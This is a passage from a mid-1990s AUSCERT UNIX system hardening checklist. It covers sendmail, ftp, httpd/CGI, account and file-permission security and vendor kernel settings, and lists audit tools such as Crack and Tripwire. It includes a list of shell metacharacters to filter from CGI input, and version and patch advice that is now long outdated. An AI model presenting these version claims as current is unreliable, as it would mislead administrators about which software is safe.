of the line. For this change to take effect you will need to run
/usr/bin/newaliases. If you run NIS (YP), you will then need to
rebuild your maps (see G.3).
* ENSURE that all programs executable by an alias are owned by root,
have permissions 755 and are stored in a systems directory
e.g., /usr/local/bin. If smrsh is in use, program execution may be
further restricted. Refer to the smrsh documentation for more details
(see B.9).
2.14 Sendmail
* DO use the latest version of Eric Allman's sendmail 8.x (currently
8.7.3), as it currently contains no KNOWN vulnerabilities.
The latest version is available via anonymous FTP from:
ftp://ftp.auscert.org.au/pub/mirrors/ftp.cs.berkeley.edu
/ucb/sendmail
NOTE: If you don't already run Eric Allman's sendmail.8.7.*,
then it may take you some time to build, install, and
configure the system to your needs. Other sendmail(8)
configuration files may not be compatible with
sendmail(8) 8.7.x. There is some help available for
converting from SUN's sendmail: bundled with the distribution
of sendmail(8) v8.7.x is a document on converting standard
SUN configuration files to sendmail(8) v8.*. This is located
in the distribution, in the file:
contrib/converting.sun.configs
* If you use a vendor version of sendmail, ENSURE that you have
installed the latest patches as sendmail(8) has been a source of a
number of security vulnerabilities.
Refer to AUSCERT Advisories SA-93:10, AA-95.08 and AA-95.09b (A.1)
and CERT Advisories CA-94:12, CA-95:05 and CA-95:08 (C.8).
* If you require progmailer functionality then DO use smrsh (see B.9).
* If you do not require progmailer functionality then DO disable mail to
programs by setting this field to /bin/false in the sendmail
configuration file.
* ENSURE that your version of sendmail does not have the wizard
password enabled (see G.4). ENSURE that if you have a line starting
with "OW" in /etc/sendmail.cf, it only has a "*" next to it.
* DO increase sendmail(8) logging to a minimum log level of 9.
This will help detect attempted exploitation of the sendmail(8)
vulnerabilities. See G.5 for example commands.
* DO increase the level of logging provided by syslog.
Enable a minimum level of "info" for mail messages to be
logged to the console and/or the syslog file. See G.6 for
example code and instructions.
* REMEMBER that you will need to restart sendmail for any changes to take
effect. If you are running a frozen configuration file (sendmail.fc),
you will need to rebuild it before restarting sendmail(8) (see G.7).
2.15 majordomo
* ENSURE that your version is greater than 1.91.
See AUSCERT Advisory SA-94.03 (see A.1) for more details.
2.16 fingerd
* If your version of fingerd is older than than 5 November 1988, DO
replace it with a newer version.
* Finger can provide a would-be intruder with a lot of information
about your host. CONSIDER the finger information you provide and
think about reducing the content by disabling finger or by
replacing it with a version that only offers restricted information.
NOTE: other services such as rusers and netstat may give out similar
information.
* DO NOT use GNU finger v1.37 as it may allow intruders to read any file.
2.17 UUCP
* DO disable the uucp account, including the shell that it executes
for logging in, if it is not used at your site.
uucp may be shipped in a dangerous state.
* REMOVE any .rhosts file at the uucp home directory.
* ENSURE that the file L.cmds is owned by root.
* ENSURE that no uucp owned files or directories are world writable.
* ENSURE that you have assigned a different uucp login for each site
that needs uucp access to your machine.
* ENSURE that you have limited the number of commands that each uucp
login can execute to a bare minimum.
* DO consider deleting the whole uucp subsystem if it is not required.
* ENSURE there are no vendor-supplied uucp or root crontab entries.
2.18 REXD
* DO disable this service.
Comment this out in the inetd.conf file. See section 2.9.1 for
details on how to do this. rexd servers have little or no
security in their design or implementation. Intruders can exploit
this service to execute commands as any user.
2.19 World Wide Web (WWW) - httpd
* ENSURE that you are using the most recent version of the http daemon
of your choice.
* DO run the server daemon httpd as a specially created nonprivileged
user such as 'httpd'.
This way, if an intruder finds a vulnerability in the server
they will only have access privileges for this unprivileged user.
* DO NOT run the server daemon as root.
* DO NOT run the client processes as root.
* DO run httpd in a chroot(1) environment.
This sets up an alternate root directory that severely limits
access of http clients to the rest of the disk.
* For systems which do not have a chroot(1) command, use of chrootuid
(see B.16) may be of assistance.
* DO carefully go through the configuration options for your server.
* DO use the configuration options to give extra protection to
sensitive directories by turning off the 'include files' feature.
This will disallow files from these directories from being
included in HTML documents.
* DO use CGIWRAP. (See B.17)
* DO NOT run CGI (Common Gateway Interface) scripts if they are not
required.
* DO be very careful in constructing CGI programs.
These programs compute information to be returned to clients
and are often driven by input from the remote user who may be
hostile. If these programs are not carefully constructed, it may
be possible for remote users to subvert them to execute arbitrary
commands on the server system. Almost all vulnerabilities arise
from these issues.
* DO provide CGIs as statically linked binaries rather than as interpreted
scripts.
This will remove the need for a command interpreter to be
available inside the chrooted environment.
* ENSURE that the contents, permissions and ownership of files in the
cgi-bin directory are what you expect them to be (see your site security
policy document for more details).
* AVOID passing user input directly to command interpreters
such as Perl, AWK, UNIX shells or programs that allow commands
to be embedded in outgoing messages such as /usr/ucb/mail
* FILTER user input for potentially dangerous characters before
it is passed to any command interpreters.
Possibly dangerous characters include \n \r (.,/;~!)>|^&$`< .
(Refer to the CERT Advisory CA-95:04 (see C.8)).
==============================================================================
3.0 ftpd and anonymous ftp
==============================================================================
3.1 Versions
* ENSURE that you are using the most recent version of the ftp daemon
of your choice.
* DO consider installing the Washington University ftpd if you don't
already have it (see B.19).
* For BSDI systems, patch 005 should be applied to version 1.1 of the
BSD/386 software (see B.20).
3.2 Configuration
* CHECK all default configuration options on your ftp server.
* ENSURE that your ftp server does not have the SITE EXEC command
(see G.8 for command details).
* ENSURE that you have set up a file /etc/ftpusers which specifies
those users that are NOT allowed to connect to your ftpd.
This should include, as a MINIMUM, the entries: root, bin,
uucp, ingres, daemon, news, nobody and ALL vendor supplied
accounts.
3.3 Anonymous ftp only
* To ascertain whether you are running anonymous ftp, try to connect
to the localhost using anonymous ftp. Be sure to give an RFC822
compliant username as the password (see G.9).
* To disable anonymous ftp, move or delete all files in ~ftp/ and then
remove the user ftp from your password file.
* If you are running distributed passwords (e.g., NIS, NIS+) then you
will need to check the password entries served to your machine as
well as those in your local password file.
3.3.1 Configuration of your ftp server
* CHECK all default configuration options on your ftp server.
Not all versions of ftp are configurable. If you have a
configurable version of ftp (e.g., wu-ftp) then make sure that
all delete, overwrite, rename, chmod and umask options (there
may be others) are NOT allowed for guests and anonymous users.
In general, anonymous users should not have any unnecessary
privileges.
* ENSURE that you DO NOT include a command interpreter (such as a shell
or tools like perl) in ~ftp/bin, ~ftp/usr/bin, ~ftp/sbin or similar
directory configurations that can be executed by SITE EXEC
(Refer to AUSCERT advisory SA-94.01 (see A.1)).
* DO NOT keep system commands in ~ftp/bin, ~ftp/usr/bin, ~ftp/sbin
or similar directory configurations that can be executed by SITE EXEC.
It may be necessary to keep some commands, such as uncompress, in
these locations. Consider the inclusion of each command on a case
by case basis and be aware that the presence of such commands may
make it possible for local users to gain unauthorised access.
Be wary of including commands that can execute arbitrary commands.
For example, some versions of tar may allow you to execute an
arbitrary file.
(Refer to AUSCERT advisory SA-94.01 (see A.1)).
* ENSURE that you use an invalid password and user shell for the ftp
entry in the system password file and the shadow password file (if
you have one). It should look something like:
ftp:*:400:400:Anonymous FTP:/home/ftp:/bin/false
where /home/ftp is the anonymous ftp area.
* ENSURE that the permissions of the ftp home directory (~ftp/) are set
to 555 (read nowrite execute), owner set to root (NOT ftp).
* ENSURE that you DO NOT have a copy of your real /etc/passwd file
as ~ftp/etc/passwd.
Create one from scratch with permissions 444, owned by root. It
should not contain the names of any accounts in your real
password file. It should contain only root and ftp. These
should be dummy entries with disabled passwords eg:
root:*:0:0:Ftp maintainer::
ftp:*:400:400:Anonymous ftp::
The password file is used only to provide uid to username mapping for
ls(1) listings.
* ENSURE that you DO NOT have a copy of your real /etc/group file as
~ftp/etc/group.
Create one from scratch with permissions 444, owned by root.
* ENSURE the files ~ftp/.rhosts and ~ftp/.forward do not exist.
* DO set the login shell of the ftp account to a non-functional shell
such as /bin/false.
3.3.2 Permissions
* ENSURE NO files or directories are owned by the ftp account or have
the same group as the ftp account.
If they are, it may be possible for an intruder to replace them
with a trojan version.
* ENSURE that the anonymous ftp user cannot create files or directories
in ANY directory unless required (see Section 3.3.3).
* ENSURE that the anonymous ftp user can only read information in public
areas.
* ENSURE that the permissions of the ftp home directory (~ftp/) are set
to 555 (read nowrite execute), owner set to root (NOT ftp).
* ENSURE that the system subdirectories ~ftp/etc and ~ftp/bin
have the permissions 111 only, owner set to root.
* ENSURE that the permissions of files in ~ftp/bin/* have the
permissions 111 only, owner set to root.
* ENSURE that the permissions of files in ~ftp/etc/* are set to
444, owner set to root.
* ENSURE that there is a mail alias for ftp to avoid mail bounces.
* ENSURE /usr/spool/mail/ftp is owned by root with permissions 400.
3.3.3 Writable directories
* ENSURE that you don't have any writable directories.
It is safest not to have any writable directories. If you do
have any, we recommend that you limit the number to one.
* ENSURE that writable directories are not also readable.
Directories that are both writable and readable may be used
in an unauthorised manner.
* ENSURE that any writable directories are owned by root and have
permissions 1733.
* DO put writable directories on a separate partition if possible.
This will help to prevent denial of service attacks.
* DO read Anonymous FTP Configuration Guidelines (see B.21).
3.3.4 Disk mounting
* NEVER mount disks from other machines to the ~ftp hierarchy
unless they are set read-only in the mount command.
==============================================================================
4.0 Password and account security
==============================================================================
This section of the checklist can be incorporated as part of a
password and account usage policy.
4.1 Policy
* ENSURE that you have a password policy for your site.
See the AUSCERT Advisory SA-93.04 (see A.1).
* ENSURE you have a User Registration Form for each user on each
system. Make sure that this form includes a section that the
intending applicant signs, stating that they have read your account
usage policy and what the consequences are if they misuse their
account.
4.2 Proactive Checking
* DO use anlpasswd to proactively screen passwords as they are entered.
This program runs a series of checks on passwords when they are
set, which assists in avoiding poor passwords. It works with
normal, shadow and NIS (or yp) password systems.
(Refer to section B.3 for how to obtain it).
* DO check passwords periodically with Crack.
(Refer to section B.1 for how to obtain Crack).
* DO apply password ageing (if possible).
4.3 NIS, NIS+ and /etc/passwd entries
* DO NOT run NIS or NIS+ if you don't really need it.
* If NIS functionality is required, DO use NIS+ if possible.
* ENSURE that the only machines that have a '+' entry in the /etc/passwd
files are NIS (YP) clients; i.e., NOT the NIS master server!
There appears to be conflicting documentation and
implementations regarding the '+' entry format and so a
generic solution is not available here. It would be best to
consult your vendor's documentation.
Some of the available documentation suggests placing a '*' in
the password field, which is NOT consistent across all
implementations of NIS. We recommend testing your systems on a
case-by-case basis to see if they correctly implement the '*'
in the password field.
See G.10 for instructions.
* ENSURE that /etc/rc.local or the equivalent startup procedure is set up
to start ypbind with the -s option.
This may not be applicable on all systems. Check your
documentation.
* DO use secure RPC.
4.4 Password shadowing
* DO enable vendor supplied password shadowing or a third party
product.
Password shadowing restricts access to users' encrypted passwords.
* DO periodically audit your password and shadow password files
for unauthorised additions or inconsistencies.
4.5 Administration
* ENSURE that you regularly audit your system for dormant accounts
and disable any that have not been used for a specified period,
say 3 months. Send out account renewal notices by post and delete
any accounts of users that do not reply.
[NOTE: Do not email renewal notices because any accounts being used
illegitimately will reply as expected and hence will not be discovered]
* ENSURE that all accounts have passwords. Check shadow or NIS passwords
too, if you have them.
i.e., the password field is not empty.
* ENSURE that any user area is adequately backed up and archived.
* DO regularly monitor logs for successful and unsuccessful su(1)
attempts.
* DO regularly check for repeated login failures.
* DO regularly check for LOGIN REFUSED messages.
* Consider quotas on user accounts if you do not have them.
* Consider requiring that users physically identify themselves before
granting any requests regarding accounts (e.g., before creating a
user account).
4.6 Special accounts
* ENSURE that there are no shared accounts other than root in accordance
with site security policy.
i.e., more than one person should not know the password to an
account.
* Disable guest accounts.
Better yet, do not create guest accounts!
[NOTE: Some systems come preconfigured with guest accounts]
* DO use special groups (such as the "wheel" group under SunOS) to
restrict which users can use su to become root.
* DISABLE ALL default vendor accounts shipped with the Operating System.
This should be checked after each upgrade or installation.
* DO Disable accounts that have no password which execute a command, for
example "sync".
Delete or change ownership of any files owned by these
accounts. Ensure that these accounts do not have any cron or
at jobs. It is best to remove these accounts entirely.
* DO assign non-functional shells (such as /bin/false) to system
accounts such as bin and daemon and to the sync account if it is
not needed.
* DO put system accounts in the /etc/ftpusers file so they cannot use
ftp.
This should include, as a MINIMUM, the entries: root, bin,
uucp, ingres, daemon, news, nobody and ALL vendor supplied
accounts.
4.7 Root account
* DO restrict the number of people who know the root password.
These should be the same users registered with groupid 0
(e.g., wheel group on SunOS). Typically this is limited to at most
3 or 4 people.
* DO NOT log in as root over the network, in accordance with site
security policy.
* DO su from user accounts rather than logging in as root.
This provides greater accountability.
* ENSURE root does not have a ~/.rhosts file.
* ENSURE "." is not in root's search path.
* ENSURE root's login files do not source any other files not
owned by root or which are group or world writable.
* ENSURE root cron job files do not source any other files not
owned by root or which are group or world writable.
* DO use absolute path names when root.
e.g., /bin/su, /bin/find, /bin/passwd. This is to stop the
possibility of root accidentally executing a trojan horse. To
execute commands in the current directory, root should prefix
the command with "./", e.g., ./command.
4.8 .netrc files
* DO NOT use .netrc files unless it is absolutely necessary.
* If .netrc files must be used, DO NOT store password information in
them.
4.9 GCOS field
* DO include information in the GCOS field of the password file which
can be used to identify your site if the password file is stolen.
e.g., joe:*:10:10:Joe Bloggs, Organisation X:/home/joe:/bin/sh
==============================================================================
5.0 File system security
==============================================================================
5.1 General
* ENSURE that there are no .exrc files on your system that have
no legitimate purpose.
* DO consider using the EXINIT environment variable to disable .exrc
file functionality.
These files may inadvertently perform commands that may compromise
the security of your system if you happen to start either vi(1) or
ex(1) in a directory which contains such a file.
See G.11 for example commands to find .exrc files.
* ENSURE that any .forward files in user home directories do not
execute an unauthorised command or program.
The mailer may be fooled into allowing a normal user privileged
access. Authorised programs may be restricted through use of
smrsh (see B.9).
See G.12 for example commands to find .forward files.
(Refer to AUSCERT Advisory SA-93.10 (see A.1)).
5.2 Startup and shutdown scripts
* ENSURE startup and shutdown scripts do not chmod 666 motd.
This allows users to change system message for the day.
* ENSURE that the line "rm -f /tmp/t1" (or similar) exists in a startup
script to clean up the temporary file used to create /etc/motd. This
should occur BEFORE the code to startup the local daemons.
5.3 /usr/lib/expreserve
* DO replace versions of /usr/lib/expreserve prior to July 1993
with a recommended patch from your vendor.
If this is not possible, then remove execute permission on
/usr/lib/expreserve (see G.13).
This will mean that users who edit their files with either vi(1)
or ex(1) and have their sessions interrupted, will not be able to
recover their lost work. If you implement the above
workaround, please advise your users to regularly save their
editing sessions.
(Refer to the CERT advisory CA-93:09 for advice on fixing this
problem for the SunOS and Solaris environments).
5.4 External file systems/devices
* DO mount file systems non-setuid and read-only where practical.
(Refer to section 2.6)
5.5 File Permissions
* ENSURE that the permissions of /etc/utmp are set to 644.
* ENSURE that the permissions of /etc/sm and /etc/sm.bak are set to 2755.
* ENSURE that the permissions of /etc/state are set to 644.
* ENSURE that the permissions of /etc/motd and /etc/mtab are set to 644.
* ENSURE that the permissions of /etc/syslog.pid are set to 644.
[NOTE: this may be reset each time you restart syslog.]
* DO consider removing read access to files that users do not need to
access.
* ENSURE that the kernel (e.g., /vmunix) is owned by root, has group set
to 0 (wheel on SunOS) and permissions set to 644.
* ENSURE that /etc, /usr/etc, /bin, /usr/bin, /sbin, /usr/sbin, /tmp and
/var/tmp are owned by root and that the sticky-bit is set on /tmp and on
/var/tmp (see G.14). Refer to the AUSCERT Advisory AA-95:05 (see A.1).
* ENSURE that there are no unexpected world writable files or
directories on your system.
See G.15 for example commands to find group and world writable files
and directories.
* CHECK that files which have the SUID or SGID bit enabled, should have
it enabled (see G.16).
* ENSURE the umask value for each user is set to something sensible
like 027 or 077.
(Refer to section E.1 for a shell script to check this).
* ENSURE all files in /dev are special files.
Special files are identified with a letter in the first position of
the permissions bits. See G.17 for a command to find files in
/dev which are not special files or directories.
Note: Some systems have directories and a shell script in /dev which
may be legitimate. Please check the manual pages for more
information.
* ENSURE that there are no unexpected special files outside /dev.
See G.18 for a command to find any block special or character
special files.
5.6 Files run by root
AUSCERT recommends that anything run by root should be owned by
root, should not be world or group writable and should be located
in a directory where every directory in the path is owned by root
and is not group or world writable.
* CHECK the contents of the following files for the root account.
Any programs or scripts referenced in these files should meet
the above requirements:
- ~/.login, ~/.profile and similar login initialisation files
- ~/.exrc and similar program initialisation files
- ~/.logout and similar session cleanup files
- crontab and at entries
- files on NFS partitions
- /etc/rc* and similar system startup and shutdown files
* If any programs or scripts referenced in these files source further
programs or scripts they also need to be verified.
5.7 Bin ownership
Many systems ship files and directories owned by bin (or sys). This
varies from system to system and may have serious security implications.
* CHANGE all non-setuid files and all non-setgid files and directories
that are world readable but not world or group writable and that are
owned by bin to ownership of root, with group id 0 (wheel group under
SunOS 4.1.x).
- Please note that under Solaris 2.x changing ownership of system
files can cause warning messages during installation of patches
and system packages.
- Anything else should be verified with the vendor.
5.8 Tiger/COPS
* Do run one or both of these.
Many of the checks in this section can be automated by using
these programs.
* To obtain these programs, see B.2.
5.9 Tripwire
* DO run statically linked binary
* DO store the binary, the database and the configuration file on
hardware write-protected media.
* To obtain this program, see B.5.
==============================================================================
6.0 Vendor operating system specific security
==============================================================================
The following is a list of security issues that relate to specific
UNIX operating systems. This is not necessarily a complete list
of available UNIX types or of problems for those that are listed.
6.1 SunOS 4.1.x
6.1.1 Patches
* DO regularly ask your vendor for a complete list of patches. Sun
regularly updates a list of recommended and security patches, which
is available from:
ftp://ftp.auscert.org.au/pub/mirrors/sunsolve1.sun.com/*
or
ftp://sunsolve1.sun.com/pub/patches/*
6.1.2 IP forwarding and source routing
This is particularly relevant if you are using your SUN box as a bastion
host or duel homed system.
* ENSURE IP forwarding is disabled.
You will need the following line in the kernel configuration
file:
options "IPFORWARDING=-1"
For information on how to customise a kernel, see the file:
/usr/sys/`arch`/conf/README
* DO also consider disabling source routing.
Leaving source routing enabled may allow unauthorised traffic
through. Unfortunately there is no official method or patch
for turning source routing off. There is however an
unsupported patch. It is available via anonymous ftp from
ftp://ftp.auscert.org.au/pub/mirrors/ftp.greatcircle.com/v03.n153.Z
6.1.3 Framebuffers /dev/fb
If somebody can log in to your Sun workstation from a remote source, they
can read the contents of your Framebuffer, which is /dev/fb. Sun provides
a mechanism which allows the user logging in on the console to have
exclusive access to the Framebuffer, by using the file /etc/fbtab.
A sample /etc/fbtab file:
#
# File: /etc/fbtab
# Purpose: Specifies that upon login to /dev/console, the
# owner, group and permissions of all supported
# devices, including the framebuffer, will be set to
# the user's username, the user's group and 0600.
# Comments: SunOS specific.
# Note: You cannot use \ to continue a line.
#
# Format:
# Device Permission Colon separated device list.
#
/dev/console 0600 /dev/fb
/dev/console 0600 /dev/bwone0:/dev/bwtwo0
/dev/console 0600 /dev/cgone0:/dev/cgtwo0:/dev/cgthree0
/dev/console 0600 /dev/cgfour0:/dev/cgsix0:/dev/cgeight0
/dev/console 0600 /dev/cgnine0:/dev/cgtwelve0
#
/dev/console 0600 /dev/kb:/dev/mouse
/dev/console 0600 /dev/fd0c:/dev/rfd0c
After the above file has been created, reboot your machine, or log out
fully, then log back in again.
Read the man page for fbtab(5) for more information.
* The login replacement from Wietse Venema's logdaemon package
supports a similar feature.
(Refer to B.13 for information on how to retrieve the logdaemon
package)
6.1.4 /usr/kvm/sys/*
* ENSURE all files and directories under /usr/kvm/sys/ are not
writable by group.
In SunOS 4.1.4 the default mode is 2775 with group staff,
allowing users in group staff to trojan the kernel.
6.1.5 /usr/kvm/crash
* REMOVE setgid privileges on /usr/kvm/crash with the command:
# /bin/chmod g-s /usr/kvm/crash
A group of kmem allows users to read the virtual memory of a
running system.
6.1.6 /dev/nit (Network Interface Tap)
* DO run the CERT tool cpm to check if your system is running in
promiscuous mode.
For access details for cpm see B.6.
* DO disable the /dev/nit interface if you do not need to run in
promiscuous mode.
- For SunOS 4.x and Solbourne systems, the promiscuous interface
to the network can be eliminated by removing the /dev/nit
capability from the kernel. Once the procedure is complete, you
may remove the device file /dev/nit since it is no longer
functional.
- Apply "method 1" as outlined in the System and Network
Administration manual, in the section, "Sun System
Administration Procedures," Chapter 9, "Reconfiguring the
System Kernel." Excerpts from the method are reproduced below:
# cd /usr/kvm/sys/sun[3,3x,4,4c]/conf
# cp CONFIG_FILE SYS_NAME
[NOTE: that at this step, you should replace the CONFIG_FILE
with your system specific configuration file if one exists.]
# chmod +w SYS_NAME
# vi SYS_NAME
#
# The following are for streams NIT support. NIT is used by
# etherfind, traffic, rarpd, and ndbootd. As a rule of thumb,
# NIT is almost always needed on a server and almost never
# needed on a diskless client.
#
pseudo-device snit # streams NIT
pseudo-device pf # packet filter
pseudo-device nbuf # NIT buffering module
[Comment out the 3 "pseudo-device" lines; save and exit the
editor before proceeding.]
# config SYS_NAME
# cd ../SYS_NAME
# make
# mv /vmunix /vmunix.old
# cp vmunix /vmunix
# /etc/halt
> b
[This step will reboot the system with the new kernel.]
[NOTE: that even after the new kernel is installed, you need to
take care to ensure that the previous vmunix.old , or other
kernel, is not used to reboot the system.]
See CERT Advisory CA_94.01 (see C.8)
6.1.7 Loadable drivers option
* DO remove the option for loadable modules from the kernel.
This will mean that a rebuild of the kernel and a reboot will be
necessary in order to load any additional kernel modules and
intruders will be prevented from being able to load extra kernel
modules dynamically. To remove this option, comment out the line
options VDDRV # loadable modules
from the kernel configuration file and re-compile the kernel.
NOTE: Some software may expect to be able to load additional modules
such as device drivers.
NOTE: Even after the new kernel is installed, you need to take care
to ensure that the previous vmunix.old , or other kernel, is
not used to reboot the system.
6.1.8 NFS port monitoring
* DO enable NFS port monitoring (see also section 2.6).
Add the following commands to /etc/rc.local:
/bin/echo "nfs_portmon/W1" | /bin/adb -w /vmunix /dev/kmem > \
/dev/null 2>&1
rpc.mountd
6.2 Solaris 2.x
6.2.1 Patches
* DO regularly ask your vendor for a complete list of patches. Sun
regularly updates a list of recommended and security patches, which
is available from:
ftp://ftp.auscert.org.au/pub/mirrors/sunsolve1.sun.com/*
or
ftp://sunsolve1.sun.com/pub/patches/*
6.2.2 IP forwarding and source routing
This is particularly relevant if you are using your SUN box as a bastion
host or duel homed system.
* DO disable IP forwarding and source routing.
To do this you will need to edit the file /etc/rc.2.d/S69.inet
and set the options ip_forwarding and ip_ip_forward_src_routed
to zero as illustrated below:
ndd -set /dev/ip ip_forwarding 0
ndd -set /dev/ip ip_ip_forward_src_routed 0
For the changes to take effect you will then need to reboot.
6.2.3 Framebuffers /dev/fbs
* Solaris versions 2.3 and above have a protection facility for
framebuffers which is a superset of the functionality provided
by /etc/fbtab in SunOS 4.1.x.
* Under Solaris, /dev/fbs is a directory that contains links to
the framebuffer devices. The /etc/logindevperm file contains
information that is used by login(1) and ttymon(1M) to change
the owner, group, and permissions of devices upon logging into
or out of a console device. By default, this file contains
lines for the keyboard, mouse, audio, and frame buffer devices.
A sample /etc/logindevperm file:
#
# File: /etc/logindevperm
# Purpose: Specifies that upon login to /dev/console, the
# owner, group and permissions of all supported
# devices, including the framebuffer, will be set to
# the user's username, the user's group and 0600.
# Comments: SunOS specific.
# Note: You cannot use \ to continue a line.
#
# Format:
# Device Permission Colon separated device list.
#
/dev/console 0600 /dev/kbd:/dev/mouse
/dev/console 0600 /dev/sound/* # audio devices
/dev/console 0600 /dev/fbs/* # frame buffers
Read the man page for logindevperm(4) for more information.
6.2.4 NFS port monitoring
* DO enable NFS port monitoring.
To do this add the following lines to /etc/system:
set nfs:nfs_portmon = 1
or in Solaris version 2.5
set nfssrv:nfs_portmon = 1
* See also section 2.6.
6.3 IRIX
* DO regularly ask your vendor for a complete list of patches.
* Some IRIX patches are available via anonymous ftp from:
ftp://ftp.auscert.org.au/pub/mirrors/ftp.sgi.com/security/*
or
ftp://ftp.auscert.org.au/pub/mirrors/sgigate.sgi.com/*
* DO read the FAQ on IRIX security.
A copy can be obtained via anonymous ftp from
ftp://ftp.auscert.org.au/pub/mirrors/ftp.uu.net/sgi/security.Z
* For systems which do not have the chroot(1) command, use of
chrootuid (see B.16) may be of assistance.
* DO use the software tool rscan.
It checks for many common IRIX-specific security vulnerabilities
and problems. (Refer to B.11 for information on where to
get a copy of rscan)
6.4 AIX
* DO regularly ask your vendor for a complete list of patches.
* Some AIX patches are available via anonymous ftp from:
ftp://ftp.auscert.org.au/pub/mirrors/software.watson.ibm.com
/aix-patches
6.5 HP/UX
* DO regularly ask your vendor for a complete list of patches.
HP has set up an automatic server to allow patches and other security
information to be retrieved via email. Email should be sent to the
address
support@support.mayfield.hp.com.
The subject line of the message will be ignored. The body (text) of
the message should be of the format
send XXXX
where XXXX is the identifier for the information you want retrieved.
For example, to retrieve the patch PHSS_4834, the message would be
send PHSS_4834.
To receive the HP SupportLine mail service user's guide
send guide.txt
To receive the readme file for a patch
send doc PHSS_4834
To receive the original HP bulletin
send doc HPSBUX9410-018.
HP also has a World Wide Web server to browse and retrieve bulletins
and patches. The URL is:
http://support.mayfield.hp.com/
6.6 OSF
* DO regularly ask your vendor for a complete list of patches.
Some patches are available from:
ftp://ftp.auscert.org.au/pub/mirrors/ftp.service.digital.com
/osf/<v>/ssrt*
or
ftp://ftp.service.digital.com/pub/osf/<v>/ssrt*
where <v> is the version of the operating system that you run.
6.7 ULTRIX
* DO regularly ask your vendor for a complete list of patches.
Some patches are available from:
ftp://ftp.auscert.org.au/pub/mirrors/ftp.service.digital.com
/ultrix/<p>/<v>/ssrt*
or
ftp://ftp.service.digital.com/pub/ultrix/<p>/<v>/ssrt*
where <p> is either mips or vax; and
where <v> is the version of the operating system that you run.
==============================================================================
7.0 Security and the X Window System
==============================================================================
Access to your X server may be controlled through either a host-
based or user-based method. The former is left to the discretion
of the Systems Administrator at your site and is useful as long as
all hosts registered in the /etc/Xn.hosts file have users that can be
trusted, where "n" represents your X server's number.
This may not be possible at every site, so a better method is
to educate each and every user about the security implications
(see references below). Better still, when setting up a user, give
them a set of X security related template files, such as .xserverrc
and .xinitrc. These are located in the users home directory.
You are strongly advised to read the section on X window system
security referred to in the X Window System Administrators Guide (C.4).
7.1 Problems with xdm
Note: Release 6 of X11 is now available and solves many problems
associated with X security which were present in previous releases.
If possible, obtain the source for R6 and compile and install it on
your system. See B.18 for how to retrieve the source for X11R6.
* xdm bypasses the normal getty and login functions, which means that
quotas for the user, ownership of /dev/console and possibly other
preventive measures put in place by you may be ignored.
* You should consult your vendor and ask about potential security holes
in xdm and what fixes are available.
* If you are running a version of xdm earlier than October 1995 then
you should update to a newer version.
(Refer to CERT Vendor-Initiated Bulletin VB-95:08, see C.8)
7.2 X security - General
* DO Read the man pages for xauth and Xsecurity.
Use this information to set up the security level you require.
* ENSURE that the permissions on /tmp are set to 1777 (or drwxrwxrwt).
i.e., the sticky bit should be set. The owner MUST always be
root and group ownership should be set to group-id 0, which is
"wheel" or "system".
- If the sticky bit is set, no one other than the owner can
delete the file /tmp/.X11-unix/X0, which is a socket for your
X server. Once this file is deleted, your X server will no
longer be accessible.
- See G.14 for example commands to set the correct permissions
and ownership for /tmp.
* DO use the X magic cookie mechanism MIT-MAGIC-COOKIE-1 or better.
With logins under the control of xdm (see 7.1), you can turn on
authentication by editing the xdm-config file and setting the
DisplayManager*authorize attribute to true.
When granting access to the screen from another machine, use
the xauth command in preference to the xhost command.
* DO not permit access from arbitrary hosts.
Remove all instances of the 'xhost +' command from the
system-wide Xsession file, from user .xsession files, and from
any application programs or shell scripts that use the X window
system.
==============================================================================
Appendix A: Other AUSCERT information sources
A.1 AUSCERT advisories and alerts
Past AUSCERT advisories and alerts can be retrieved via anonymous
ftp from
ftp://ftp.auscert.org.au/pub/auscert/advisory/
A.2 AUSCERT's World Wide Web server
AUSCERT maintains a World Wide Web server. Its URL is
http://www.auscert.org.au
A.3 AUSCERT's ftp server
AUSCERT maintains an ftp server with an extensive range of
tools and documents. Please browse through it. Its URL is
ftp://ftp.auscert.org.au/pub/
==============================================================================
Appendix B: Useful security tools
There are many good tools available for checking your system.
The list below is not a complete list, and you should NOT rely on
these to do ALL of your work for you. They are intended to be only
a guide. It is envisaged that you may write some site specific tools
to supplement these. It is also envisaged that you may look around
on ftp servers for other useful tools.
AUSCERT has not formally reviewed, evaluated or endorsed the tools
described. The decision to use the tools described is the
responsibility of each user or organisation.
B.1 Crack
Crack is a fast password cracking program designed to assist site
administrators in ensuring that users use effective passwords.
Available via anonymous ftp from:
ftp://ftp.auscert.org.au/pub/cert/tools/crack/*
B.2 COPS and Tiger
These packages identify common security and configuration
problems. They also check for common signs of intrusion.
Though there is some overlap between these two packages, they
are different enough that it may be useful to run both. Both
are available via anonymous ftp.
COPS:
ftp://ftp.auscert.org.au/pub/cert/tools/cops/1.04
tiger:
ftp://ftp.auscert.org.au/pub/mirrors/net.tamu.edu/tiger*
B.3 anlpasswd
This program is a proactive password checker. It runs a
series of checks on passwords at the time users set them and
refuses password that fail the tests. It is designed to work
with shadow password systems. It is available via anonymous ftp
from:
ftp://ftp.auscert.org.au/pub/mirror/info.mcs.anl.gov/*
B.4 tcp_wrapper
This software gives logging and access control to most network
services. It is available via anonymous ftp from:
ftp://ftp.auscert.org.au/pub/mirrors/ftp.win.tue.nl
/tcp_wrappers_7.2.tar.gz
B.5 Tripwire
This package maintains a checksum database of important system
files. It can serve as an early intrusion detection system. It
is available via anonymous ftp from:
ftp://ftp.auscert.org.au/pub/coast/COAST/Tripwire/*
B.6 cpm
cpm checks to see if your network interfaces are running in
promiscuous mode. If you do not normally run in this state then
it may be an indication that an intruder is running a network
sniffer on your system. This program was designed to run on
SunOS 4.1.x and may also work on many BSD systems. It is available
via anonymous ftp from:
ftp://ftp.auscert.edu.au/pub/cert/tools/cpm/*
B.8 Vendor supplied security auditing packages
Sun provides an additional security package called SUNshield.
Please direct enquiries about similar products to your vendor.
B.9 smrsh
The smrsh(8) program is intended as a replacement for /bin/sh
in the program mailer definition of sendmail(8). smrsh is a
restricted shell utility that provides the ability to specify,
through a configuration, an explicit list of executable
programs. When used in conjunction with sendmail, smrsh
effectively limits sendmail's scope of program execution to
only those programs specified in smrsh's configuration.
It is available via anonymous ftp from:
ftp://ftp.auscert.org.au/pub/cert/tools/smrsh
Note: smrsh comes bundled with Eric Allman's sendmail 8.7.1 and
higher.
B.10 MD5
MD5 is a message digest algorithm. An implementation of this is
available via anonymous ftp from:
ftp://ftp.auscert.org.au/pub/cert/tools/md5/*
B.11 rscan
This tool checks for a number of common IRIX-specific security
bugs and problems. It is available via anonymous ftp from:
